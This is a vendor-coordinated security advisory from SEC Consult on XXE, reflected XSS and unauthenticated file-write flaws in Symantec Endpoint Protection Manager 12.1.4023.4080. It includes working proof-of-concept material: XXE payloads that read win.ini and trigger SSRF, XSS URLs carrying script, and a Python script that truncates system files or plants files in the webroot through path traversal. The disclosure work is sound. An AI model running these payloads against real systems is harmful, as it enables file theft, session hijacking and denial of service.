Symantec Endpoint Protection 12.1.4023.4080 XXE / XSS / Arbitrary File Write

`SEC Consult Vulnerability Lab Security Advisory < 20141106-0 >  
=======================================================================  
title: XXE & XSS & Arbitrary File Write vulnerabilities  
product: Symantec Endpoint Protection  
vulnerable version: 12.1.4023.4080  
fixed version: 12.1.5 (RU 5)  
impact: Critical  
CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439  
homepage: http://www.symantec.com  
found: 2014-07-01  
by: Stefan Viehböck  
SEC Consult Vulnerability Lab  
https://www.sec-consult.com  
=======================================================================  
  
  
Vendor description:  
-------------------  
"Symantec Endpoint Protection is a client-server solution that protects  
laptops, desktops, Windows and Mac computers, and servers in your network  
against malware. Symantec Endpoint Protection combines virus protection with  
advanced threat protection to proactively secure your computers against known  
and unknown threats.  
Symantec Endpoint Protection protects against malware such as viruses, worms,  
Trojan horses, spyware, and adware. It provides protection against even the  
most sophisticated attacks that evade traditional security measures, such as  
rootkits, zero-day attacks, and spyware that mutates. Providing low maintenance  
and high power, Symantec Endpoint Protection communicates over your network to  
automatically safeguard for both physical systems and virtual systems against  
attacks."  
  
Source:  
https://www.symantec.com/endpoint-protection  
https://www.symantec.com/business/support/index?page=content&id=DOC6153  
  
  
Business recommendation:  
------------------------  
Attackers are able to perform denial-of-service attacks against the Endpoint  
Protection Manager which directly impacts the effectiveness of the client-side  
endpoint protection. Furthermore, session identifiers of users can be stolen  
to impersonate them and gain unauthorized access to the server.  
  
All of these attacks can have a severe impact on the security infrastructure.  
An update to the latest version (12.1.5 RU 5) is highly recommended.  
  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) XML External Entity Injection (XXE) [CVE-2014-3437]  
Multiple XXE vulnerabilities were found in the Endpoint Protection Manager  
application. An attacker needs to perform MitM attacks to impersonate  
securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking,  
ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code.  
These vulnerabilities can be used to execute server side request  
forgery (SSRF) attacks used for portscanning/fingerprinting, denial of service,  
file disclosure as well as attacks against functionality that is only  
exposed internally (see CVE-2013-5015 and issue #3).  
  
Note:  
The exploitation scenario proves that the previous command execution via  
SQL injection was exploitable for an external attacker with the ability to  
manipulate internet traffic _without any prior knowledge_ of the target system.  
  
  
2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]  
Endpoint Protection Manager suffers from a reflected cross-site scripting  
vulnerability, which allows an attacker to steal other users' sessions, to  
impersonate other users and to gain unauthorized access to the admin interface.  
  
  
3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]  
Arbitrary files can be written or overwritten by an unauthenticated attacker.  
The target file is truncated in the process which results in Denial of Service.  
However it might be possible to write files with arbitrary content nonetheless.  
  
  
  
Proof of concept:  
-----------------  
1) XML External Entity Injection (XXE) [CVE-2014-3437]  
The Symantec Protection Center component downloads XML files from  
http://securityresponse.symantec.com for information purposes.  
By impersonating securityresponse.symantec.com (eg. via DNS  
poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) an  
attacker can inject malicious XML code into the file contents and thus exploit  
XXE vulnerabilities.  
  
For example by offering the following XML code at the URL  
http://securityresponse.symantec.com/avcenter/deepsightkiosk/9.xml  
arbitrary files can be disclosed via the Symantec Protection Center login  
page at https://<HOST>:8443/portal/Login.jsp  
  
===============================================================================  
<?xml version="1.0" encoding="UTF-8"?>  
  
<!DOCTYPE a [<!ENTITY e SYSTEM 'file:///c:/windows/win.ini'> ]>  
  
<data>  
<regular>  
<text>&e;</text>  
</regular>  
<outbreak></outbreak>  
<threatcon>1</threatcon>  
</data>  
===============================================================================  
  
  
Server Side Request Forgery (SSRF) can be exploited like in the following  
example that sets the application log level to "log all messages" eg. via  
http://securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml  
  
===============================================================================  
<?xml version="1.0" encoding="UTF-8"?>  
  
<!DOCTYPE a [<!ENTITY e SYSTEM  
'http://localhost:9090/servlet/ConsoleServlet?ActionType=ConfigServer&logLevel=ALL'> ]>  
<foo>&e;</foo>  
===============================================================================  
  
Furthermore some files can be exfiltrated to remote servers via the  
techniques described in:  
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf  
http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf  
  
  
2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]  
At least the following URLs are vulnerable to XSS:  
https://<HOST>:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script>  
https://<HOST>:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY3JpcHQ%2bYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2b  
  
  
3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]  
A flaw in ConsoleServlet allows an attacker to specify the application server  
thread name via the ActionType parameter. As the thread name is used in  
the pattern that is passed to the java.util.logging.FileHandler constructor  
by the logging component (ServerLogger) an attacker can define the log file  
path. By causing an exception in the thread, the log file is written to  
disk.  
The following code snippet causes an exception by terminating the TCP  
connection before the server has finished writing the response to the socket.  
  
ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 causes the win.ini  
file to be truncated.  
  
===============================================================================  
import socket  
import struct  
  
HOST = '<HOST>'  
PORT = 9090  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((HOST, PORT))  
l_onoff = 1  
l_linger = 0  
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,struct.pack('ii', l_onoff, l_linger))  
  
msg = '''GET  
/servlet/ConsoleServlet?ActionType=/../../../../../../../../../../WINDOWS/win.ini%00  
HTTP/1.1  
Host: SYMEPP  
EvilContent: <?php evilcode(); ?>  
  
'''  
  
s.sendall(msg)  
s.shutdown(socket.SHUT_RD)  
===============================================================================  
  
  
ActionType=/../../Inetpub/Reporting/evil.php%00 causes the (empty) file  
evil.php to be written into the Apache webroot.  
  
ActionType=/../../Inetpub/Reporting/evil.php causes the file  
evil-0.log to be written into the Apache webroot.  
  
If the application log level has been set to "DEBUG" (which can be achieved  
via XXE, see issue #1) the file content includes all headers passed in the  
HTTP request (including the EvilContent header in the example above). However  
the file will not be processed by PHP because of the .log extension. Due to  
the complex nature of the Windows filesystem addressing modes (legacy/DOS,  
ADS, etc.) it is entirely possible that this limitation can be bypassed.  
  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerabilities have been verified to exist in Symantec Endpoint Protection  
version 12.1.4023.4080, which was the most recent version at the time of discovery.  
  
  
Vendor contact timeline:  
------------------------  
2014-07-11: Initial contact to [email protected]  
2014-07-29: Ask for status at [email protected]  
2014-08-01: Conference call about status, extended grace period to 2014-10-31  
September/October: Several discussions / rechecks of the vulnerabilities  
2014-11-06: Coordinated release of the advisory  
  
  
Solution:  
---------  
  
1) XML External Entity Injection (XXE) [CVE-2014-3437]  
  
Update to version 12.1.5 RU 5  
  
2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]  
  
Update to version 12.1.5 RU 5  
  
3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]  
  
The update to version 12.1.5 RU 5 only partially mitigates the vulnerability.  
Path Traversal is no longer possible, which reduces the severity to  
low/medium. The vendor claims that it will be entirely solved in the next  
version (12.1.5 RU6).  
  
  
For further information see the security advisory of the vendor:  
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141105_00  
  
  
Workaround:  
-----------  
See Symantec security advisory for further mitigations.  
  
  
Advisory URL:  
--------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
SEC Consult Vulnerability Lab  
  
SEC Consult  
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Write to [email protected]  
  
EOF Stefan Viehböck / @2014  
  
`